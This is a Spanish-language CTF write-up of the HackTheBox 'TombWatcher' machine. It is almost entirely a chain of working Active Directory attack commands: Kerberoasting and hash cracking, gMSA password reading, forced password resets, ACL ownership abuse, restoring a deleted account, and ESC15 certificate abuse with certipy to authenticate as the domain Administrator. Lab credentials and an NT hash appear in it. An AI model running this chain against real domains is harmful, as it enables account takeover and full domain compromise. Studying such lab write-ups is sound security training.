TombWatcher (ACTIVA)
WRITEUP : HTB-Vigilante de tumbas · Blog de HYH
henry / H3nry_987TGV!
nxc smb 10.10.11.72
echo "10.10.11.72 tombwatcher.htb DC01 DC01.tombwatcher.htb" >> /etc/hosts
dnsrecon -a -n 10.10.11.72 -d tombwatcher.htb
ldapdomaindump -u 'tombwatcher.htb\henry' -p 'H3nry_987TGV!' 10.10.11.72
netexec smb 10.10.11.72 -u 'henry' -p 'H3nry_987TGV!' -d tombwatcher.htb --shares
rpcclient -U 'henry%H3nry_987TGV!' 10.10.11.72 -c "enumdomusers" | tr '[]' ' '| awk '{print $2}' > users.txti
impacket-GetNPUsers tombwatcher.htb/ -no-pass -usersfile users.txt
impacket-GetUserSPNs tombwatcher.htb/henry:'H3nry_987TGV!' -request
nmap --script ldap-\* -p 389,636,3268,3269 10.10.11.72
sudo python3 targetedKerberoast.py -v -d tombwatcher.htb -u henry -p 'H3nry_987TGV!' --request-user alfred -o alfred.kerb
hashcat -a 0 alfred.kerb /usr/share/wordlists/rockyou.txt --force -m 13100
alfred : basketball
bloodyAD --host 10.10.11.72 -d DC01.tombwatcher.htb -u alfred -p basketball add groupMember 'INFRASTRUCTURE' alfred
bloodyAD --host DC01.tombwatcher.htb -d tombwatcher.htb -u 'alfred' -p 'basketball' get object 'ANSIBLE_DEV$' --attr msDS-ManagedPassword
netexec smb 10.10.11.72 -u 'ANSIBLE_DEV$' -H '4b21348ca4a9edff9689cdf75cbda439' -d tombwatcher.htb
rpcclient -U 'tombwatcher.htb\ANSIBLE_DEV$%4b21348ca4a9edff9689cdf75cbda439' --pw-nt-hash 10.10.11.72
setuserinfo2 sam 23 'PASS'
netexec smb 10.10.11.72 -u 'sam' -p 'PASS' -d tombwatcher.htb
bloodyAD --host DC01.tombwatcher.htb -d tombwatcher.htb -u sam -p 'PASS' set owner john sam
bloodyAD --host DC01.tombwatcher.htb -d tombwatcher.htb -u sam -p 'PASS' add genericAll 'CN=JOHN,CN=USERS,DC=TOMBWATCHER,DC=HTB' sam
rpcclient -U 'sam%PASS' 10.10.11.72
setuserinfo2 john 23 'PASS'
evil-winrm -i 10.10.11.72 -u 'john' -p 'PASS'
AUTOPWN
rpcclient -U 'tombwatcher.htb\ANSIBLE_DEV$%4b21348ca4a9edff9689cdf75cbda439' --pw-nt-hash 10.10.11.72 -c "setuserinfo2 sam 23 'PASS'"
bloodyAD --host DC01.tombwatcher.htb -d tombwatcher.htb -u sam -p 'PASS' set owner john sam
bloodyAD --host DC01.tombwatcher.htb -d tombwatcher.htb -u sam -p 'PASS' add genericAll 'CN=JOHN,CN=USERS,DC=TOMBWATCHER,DC=HTB' sam
rpcclient -U 'sam%PASS' 10.10.11.72 -c "setuserinfo2 john 23 'PASS'"
evil-winrm -i 10.10.11.72 -u 'john' -p 'PASS'
Buscamos usuarios borrados:
Get-ADObject -IncludeDeletedObjects -Filter 'ObjectClass -like "user"' -Properties *
Restore-ADObject -Identity "938182c3-bf0b-410a-9aaa-45c8e1a02ebf"
Le habilitamos la cuenta y le cambiamos la contraseña:
bloodyAD --host DC01.tombwatcher.htb -d tombwatcher.htb -u john -p 'PASS' remove uac 'cert_admin' -f ACCOUNTDISABLE
rpcclient -U 'john%PASS' 10.10.11.72 -c 'setuserinfo2 cert_admin 23 'PASS'
Vamos a buscarle vulns
certipy find -vulnerable -u 'cert_admin' -p 'PASS' -dc-ip 10.10.11.72
Nos muestra que la plantilla WebConfig está mal configurada:
Certificate Authorities
0
CA Name : tombwatcher-CA-1
DNS Name : DC01.tombwatcher.htb
Certificate Subject : CN=tombwatcher-CA-1, DC=tombwatcher, DC=htb
Certificate Serial Number : 3428A7FC52C310B2460F8440AA8327AC
Certificate Validity Start : 2024-11-16 00:47:48+00:00
Certificate Validity End : 2123-11-16 00:57:48+00:00
Web Enrollment
HTTP
Enabled : False
HTTPS
Enabled : False
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Active Policy : CertificateAuthority_MicrosoftDefault.Policy
Permissions
Owner : TOMBWATCHER.HTB\Administrators
Access Rights
ManageCa : TOMBWATCHER.HTB\Administrators
TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
ManageCertificates : TOMBWATCHER.HTB\Administrators
TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
Enroll : TOMBWATCHER.HTB\Authenticated Users
Certificate Templates
0
Template Name : WebServer
Display Name : Web Server
Certificate Authorities : tombwatcher-CA-1
Enabled : True
Client Authentication : False
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : True
Certificate Name Flag : EnrolleeSuppliesSubject
Extended Key Usage : Server Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Schema Version : 1
Validity Period : 2 years
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Template Created : 2024-11-16T00:57:49+00:00
Template Last Modified : 2024-11-16T17:07:26+00:00
Permissions
Enrollment Permissions
Enrollment Rights : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
TOMBWATCHER.HTB\cert_admin
Object Control Permissions
Owner : TOMBWATCHER.HTB\Enterprise Admins
Full Control Principals : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
Write Owner Principals : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
Write Dacl Principals : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
Write Property Enroll : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
TOMBWATCHER.HTB\cert_admin
[+] User Enrollable Principals : TOMBWATCHER.HTB\cert_admin
[!] Vulnerabilities
ESC15 : Enrollee supplies subject and schema version is 1.
[*] Remarks
ESC15 : Only applicable if the environment has not been patched. See CVE-2024-49019 or the wiki for more details.
✅ Paso 1: Solicitar un certificado con permisos de agente
certipy req \
-u 'cert_admin@tombwatcher.htb' -p 'PASS' \
-dc-ip '10.10.11.72' -target 'DC01.tombwatcher.htb' \
-ca 'tombwatcher-CA-1' -template 'WebServer' \
-application-policies 'Certificate Request Agent'
¿Qué haces aquí?
-
Estás inscribiendo un certificado válido en tu nombre (
cert_admin). -
La plantilla
'WebServer'está mal configurada: permite que el usuario elija la Application Policy manualmente. -
Le inyectas la política "Certificate Request Agent", que permite que este certificado pueda solicitar certificados en nombre de otros usuarios.
🔴 Vulnerabilidad explotada: La plantilla permite políticas arbitrarias (Enrollee supplies subject) y no limita el uso de Certificate Request Agent.
🔐 Resultado: Se genera un certificado (cert_admin.pfx) que funciona como un agente de inscripción.
✅ Paso 2: Usar ese certificado-agente para pedir uno en nombre de Administrator
certipy req \
-u 'cert_admin@tombwatcher.htb' -p 'PASS' \
-dc-ip '10.10.11.72' -target 'DC01.tombwatcher.htb' \
-ca 'tombwatcher-CA-1' -template 'User' \
-pfx 'cert_admin.pfx' -on-behalf-of 'tombwatcher\Administrator'
O podríamos loguearnos directamente :
certipy auth -pfx 'administrator.pfx' -dc-ip '10.10.11.72' -ldap-shell
¿Qué haces aquí?
-
Usas el certificado-agente (
cert_admin.pfx) para solicitar un certificado para Administrator. -
La opción
-on-behalf-ofhace que el certificado generado tenga como UPN o SAN aAdministrator@tombwatcher.htb.
🔐 Resultado: Obtienes un certificado (administrator.pfx) válido para autenticarse como el usuario Administrator.
✅ Paso 3: Autenticarse con ese certificado como Administrator
certipy auth -pfx 'administrator.pfx' -dc-ip '10.10.11.72'
¿Qué ocurre?
-
Usas Certipy para autenticación Kerberos basada en certificado (
PKINIT). -
Se genera un TGT (Ticket Granting Ticket) como si fueras
Administrator@tombwatcher.htb. -
Se guarda el
ccache(credencial) en un archivo, que puedes usar con herramientas comosecretsdump,smbclient,smbexec,kerberoast, etc.
🔑 Resultado final: Estás autenticado como Administrator del dominio y puedes actuar con plenos privilegios.
🚨 ¿Por qué funciona esto?
-
La plantilla
'WebServer'no impide la inyección de Application Policies. -
La CA permite la emisión con política de agente sin restricción (
Certificate Request Agent). -
La plantilla
'User'permite solicitudes "en nombre de" (Enroll on behalf of). -
No se validan los permisos del solicitante para actuar como agente de inscripción.